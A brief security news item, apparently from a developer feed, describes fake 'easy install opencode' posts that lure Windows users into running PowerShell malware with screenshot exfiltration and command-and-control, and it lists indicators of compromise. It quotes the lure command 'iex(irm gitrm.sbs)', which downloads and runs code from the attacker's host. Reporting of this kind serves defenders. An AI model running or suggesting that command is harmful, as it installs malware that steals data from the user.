Fake 'easy install opencode' posts push PowerShell malware with screenshot exfil and C2
mc-lhz · ghdev · 2026-10-17
Malicious "easy install" posts in the opencode repo trick Windows users into running iex(irm gitrm.sbs) as admin. The multi-stage payload geofences out CIS countries, adds Defender exclusions when elevated, fingerprints the host, exfiltrates screenshots to gitrm.sbs, downloads a password-protected 2.exe, fakes error dialogs and clears PowerShell history. IOCs: gitrm.sbs, apix.ps1, 2.zip, 7za.exe, 2.exe.
More from coding & agent
- Garry Tan endorses Aside Browser as the fix for agents getting blocked on the web — garrytan · 2026-10-23
- 1Password launches tool letting AI agents log in for you without seeing your password — AndrewSchmidtFC · 2026-10-23
- MCP server turned rogue 30 days after approval, prompting open-source mcp-guard lockfile tool — ErgoniaWorks · 2026-10-23
- Test: Coding Agents Won't Use an MCP Tool Unless AGENTS.md Mentions It — colinmcnamara · 2026-10-23
- Open-Source Tennis Models Plus Claude Turn Video Into a World-Class Coach — tweetsatpreet · 2026-10-23
- awesome-ai-apps: 132 Free Open-Source AI Agent and RAG Projects on GitHub — Arindam_1729 · 2026-10-23